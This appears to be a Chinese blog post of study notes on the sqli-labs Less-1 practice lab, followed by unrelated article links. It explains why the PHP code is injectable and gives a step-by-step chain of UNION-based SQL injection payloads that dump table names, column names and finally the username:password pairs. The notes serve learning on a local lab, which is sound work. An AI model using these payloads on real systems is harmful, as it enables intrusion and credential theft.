MySQL注入-SQLi-Less1笔记

 前置知识点:

1. SELECT 1,2,3 用于查询数据通道的方式

例如Less-1中,Secury数据库中的users表结构如下,可以看到有散列,当用户在页面输入id的时候,会查询到对应的散列数据也就是<id>/<username>/<password>,而php并不会将所有的数据返回给web,就说明<数据通道>的概念,数据必须通过<username>/<password>这个数据位置,才能够返回到我们的web页面。

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

在测试中可以看到,虽然url中输入了select 1,2,3,但也只有2,3出现在了页面上,也就说明只有2,3的数据通道是可以正确地向web回显数据。


2. ' 单引号的利用

在网页后端的php代码中可以看到(下图),$_GET拿到URL传过来的id值,那么此时的id值为0'(因为URL中将0'作为id的值传递),而在后续的SQL语句拼接过程中,会拼接为:

SELECT * FROM users WHERE id='0'' LIMIT 0,1

而这条语句明显错误无法执行,故而报错。这个方式想要证明的就是”php脚本没有检查$id的值是否正确就传递给SQL运行”,满足这一条件,即可开始尝试SQL注入。

所以其实无论用0'也好,and 1=2,?id=-1也好,其最终目的都是为了让PHP脚本在拼接SQL语句时形成错误,提交给SQL执行并返回报错。

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

3. # 井号的利用(注释后续代码)

通过对比就能看懂,#的URL编码为%23,先演示如果不加%23,会变成什么样

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3

if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3' LIMIT 0,1

可以很清楚的看到上图最后一行的语法 id = '0'可以被执行,但是union语句后面的select 1,2,3' LIMIT 0,1就无法被执行了,只因为多了一个单引号。而加上%23后,语句会变成:

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3%23

if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3#
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3#
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3#' LIMIT 0,1

上述语句就变成了union select 1,2,3# LIMIT 0,1,而#的作用就是将后续的   ' LIMIT 0,1注释掉了,这样语句就可以正常执行了。


4.在MySQL5.0以上的版本中,会自带一个数据库<information_schema>该库记录了整个MySQL数据库中所有的数据库名、表名、列名,所以5.0以上的MySQL数据库只要存在SQL注入,就可以通过<information_schema>数据库获得想要的信息。


5.MySQL本身自带函数,可以通过执行这些函数来获取一些数据库本身的信息

SELECT DATABASE();/SELECT SCHEMA();
查看当前正在使用的数据库

SELECT VERSION();
查看数据库版本

SELECT USER();
查看当前用户

SELECT @@version_compile_os;
查看当前操作系统版本

 正文开始

结尾处给一个0'的参数

?id=0'
//0'的用法在本文开头详细阐述

尝试union联合注入,并且select 1,2,3测试数据通道

?id=0' union select 1,2,3%23
//select 1,2,3 与%23的用法,都在本文开头有详细阐述

看一下调用的数据库名和登录用户

?id=0' union select 1,database(),user()%23

找到库名了,通过<information_schema.tables>查表

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

//group_concat()函数用于拼接查询的结果,本来要输出很多行,用了这个函数就能输出到一行里,否则没法显示出全部的结果

//table_names是<information_schame>中<tables>表的一个列(内容为所有数据库的表名称),所以不加where的话就会有太多数据,这里加where筛选一下

//table_schema是表与之关联的数据库,所以where table_schema=database()的意思就是之查询当前数据库关联的表

所以直接写的话写成SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';返回的结果:

+------------+
| TABLE_NAME |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
+------------+
使用GROUP_CONCAT()函数SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';效果是:
+-------------------------------+
| group_concat(TABLE_NAME)      |
+-------------------------------+
| emails,referers,uagents,users |
+-------------------------------+

 拿到表名,同样方法找列名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

//和拿表名是同样的方式,只不过是变一些变量而已,不详细阐述了

拿到列名,开始找值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users%23
//因为php脚本就是在users表中拿取数据的,所以不需要指定路径
//其中0x3a为16进制的58,而ASCII表中58代表 : (冒号),所以添加它仅仅是为了在MySQL输出是可以输出为 <用户名 : 密码>的格式,不加也是可以读取到的,只不过无法分清用户名和密码

URL中添加了0x3a的输出结果👇

URL中没有添加0x3a的输出结果👇

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/36193.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

分布式监控zabbix的使用(一)

zabbix 一、添加zabbix客户端主机&#xff0c;测试是否能连接服务端和客户端都设置 hosts 解析设置 zabbix 的下载源&#xff0c;安装 zabbix-agent2修改 agent2 配置文件通过键值测试连通性在 Web 页面中添加 agent 主机 二、自定义监控内容在客户端创建自定义key 三、在web页…

Lion:闭源大语言模型的对抗蒸馏

Lion&#xff1a;闭源大语言模型的对抗蒸馏 Lion&#xff0c;由香港科技大学提出的针对闭源大语言模型的对抗蒸馏框架&#xff0c;成功将 ChatGPT 的知识转移到了参数量 7B的 LLaMA 模型&#xff08;命名为 Lion&#xff09;&#xff0c;在只有 70k训练数据的情况下&#xff0…

微服务网关技术选型:Zuul2、Gateway、OpenResty、Kong

1、简介 当使用单体应用程序架构时&#xff0c;客户端&#xff08;Web 或移动端&#xff09;通过向后端应用程序发起一次 REST 调用来获取数据。负载均衡器将请求路由给 N 个相同的应用程序实例中的一个。然后应用程序会查询各种数据库表&#xff0c;并将响应返回给客户端。微…

443端口被占用,vmware居然也来捣乱

今天搬砖时发现应用起不来了&#xff0c;显示出了熟悉的error *************************** APPLICATION FAILED TO START ***************************~~重点在这块哈 Description:Web server failed to start. Port 443 was already in use.Action:Identify and stop the p…

Modbus tcp转ETHERCAT在Modbus软件中的配置方法

Modbus tcp和ETHERCAT是两种不同的协议&#xff0c;这给工业生产带来了很大的麻烦&#xff0c;因为这两种设备之间无法通讯。但是&#xff0c;远创智控YC-ECT-TCP网关的出现&#xff0c;却为这个难题提供了解决方案。 YC-ECT-TCP网关能够连接到Modbus tcp总线和ETHERCAT总线中…

Android之WebView加载PDF链接预览PDF文件

文章目录 前言一、效果图二、实现步骤1.在项目main目录下新建一个assets2.新建一个js为index.js3.新建一个HTML为index.html4.xml布局4.Activity类&#xff08;kotlin&#xff09;5.Activity类&#xff08;Java&#xff09; 总结 前言 Android的webview压根就不支持加载pdf&am…

基于单片机的智能空调系统的设计与实现

功能介绍 以51单片机作为主控系统&#xff1b;LCD1602液晶显示当前水温&#xff0c;定时提醒&#xff0c;水量变化DS18B20检测当前水体温度&#xff1b;水位传感器检测当前水位&#xff1b;继电器驱动加热片进行水温加热&#xff1b;定时提醒喝水&#xff0c;蜂鸣器报警&#x…

详解HTTP协议和HTTPS协议

目录 一.HTTP协议 1.什么是HTTP 2.HTTP发展历史 3.HTTP请求和响应 4. 抓包的方式和工具Fiddler 1.开发者工具 2.Fiddler 二.请求和响应 1.请求和响应报文 2.URL结构 3.常见的方法 1.GET方法 2.POST方法 3.其他方法 三.请求报头(header) 1.Host 2.Content-Length 3.Co…

python自动化办公——定制化将电子签名批量签写到PDF文件

python自动化办公——定制化将电子签名批量签写到PDF文件 文章目录 python自动化办公——定制化将电子签名批量签写到PDF文件1、安装依赖2、需求分析3、代码 1、安装依赖 首先需要下载所需要的库 pip install pdf2image pip install img2pdf pip install opencv-python此外还…

vue + el-table点击表头改变其当前样式

废话不多说&#xff0c;先看效果&#xff1a; 网上找了一大圈没有符合的&#xff0c;只能自己看着搞&#xff1a; 直接贴代码&#xff1a; <el-tableref"table":data"tableData"borderstripesort-change"changeColumn"><el-table-colu…

springMVC(二)—— 进阶

一、解决中文乱码问题 解决中文乱码问题的关键在于判断字符是什么时候乱码的 先在java程序里刚生成这个值的地方打印一下&#xff0c;如果在控制台输出就乱码了&#xff0c;那就排除浏览器和jsp页面的编码出问题。否则 看浏览器的编码 看这个jsp页面的编码是否设置好了 一般不用…

简要介绍 | 两阶段点云目标检测:理论与实践

注1&#xff1a;本文系“简要介绍”系列之一&#xff0c;仅从概念上对两阶段点云目标检测进行非常简要的介绍&#xff0c;不适合用于深入和详细的了解。 两阶段点云目标检测&#xff1a;理论与实践 在这篇博客中&#xff0c;我们将探索两阶段点云目标检测的理论基础和实际应用…

cancal 同步mysql数据到es中

1.环境&#xff1a; windocs service2012 、 jdk版本1.8 、canal版本1.5、mysql版本5.7、 注意&#xff1a;canal版本1.5需要的jdk是1.8 如果你下载的是canal1.6&#xff0c;jdk是1.8&#xff0c;那样会报错。 下载地址 Releases alibaba/canal GitHub 下载并上传到服…

创建数据库Market、Team,按要求完成指定操作

创建数据库Market&#xff0c;在Market中创建数据表customers&#xff0c;customers表结构如表4.6所示&#xff0c;按要求进行操作。 代码如下&#xff1a; #(1&#xff09;创建数据库Market mysql> create database Market; Query OK, 1 row affected (0.00 sec)mysql>…

Java阶段五Day02

Java阶段五Day02 文章目录 Java阶段五Day02MAVEN-聚合(多模块3)回顾多模块2个特性依赖:继承: 聚合场景聚合目的实现聚合聚合总结 远程仓库远程仓库概念配置settings.xml远程库配置注意事项 GIT详细学习git概括git历史本地版本控制相关命令git分支管理分支管理基本概念分支管理相…

Failed to initialize NVML: Driver/library version mismatch

nvidia驱动安装之后&#xff0c;nvidia-smi 报错 Driver/library version mismatch 不重启系统的解决方法 查看系统日志&#xff0c;确定具体报错信息&#xff1a; # dmesg | tail [8598493.408944] NVRM: API mismatch: the client has the version 525.125.06, butNVRM: t…

STL好难(4):list的使用

和列表很像 1.list的介绍 点击这里查看 list 的官方文档 list类似数据结构中的链表 1. list是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代。2. list的底层是双向链表结构&#xff0c;双向链表中每个元素存储在互不相关的独…

flutter聊天界面-自定义表情键盘实现

flutter聊天界面-自定义表情键盘实现 flutter 是 Google推出并开源的移动应用开发框架&#xff0c;主打跨平台、高保真、高性能。开发者可以通过 Dart语言开发 App&#xff0c;一套代码同时运行在 iOS 和 Android平台。 flutter开发基础腾讯IM的聊天应用&#xff0c;使用的是t…

css设计表格圆角最简单的方法

代码如下&#xff1a; table {width: 100%;/* border-collapse: collapse; */background-color: #FBFBFB; /* 背景颜色; */border-collapse: separate; /* 让border-radius有效 */border-spacing: 0; /*表格中每个格边距设为0*/border: 1px solid #DFDFDF;/*边框*/border-radi…

ETHERNET/IP 转ETHERCAT连接倍福和欧姆龙PLC的配置方法

ETHERNET/IP和ETHERCAT是两种不同的协议&#xff0c;它们在工业生产中都有广泛的应用。然而&#xff0c;由于协议不同&#xff0c;这两种设备之间无法通讯&#xff0c;这给工业生产带来了很大的麻烦。而远创智控YC-EIP-ECT网关应运而生&#xff0c;它能够连接到ETHERNET/IP总线…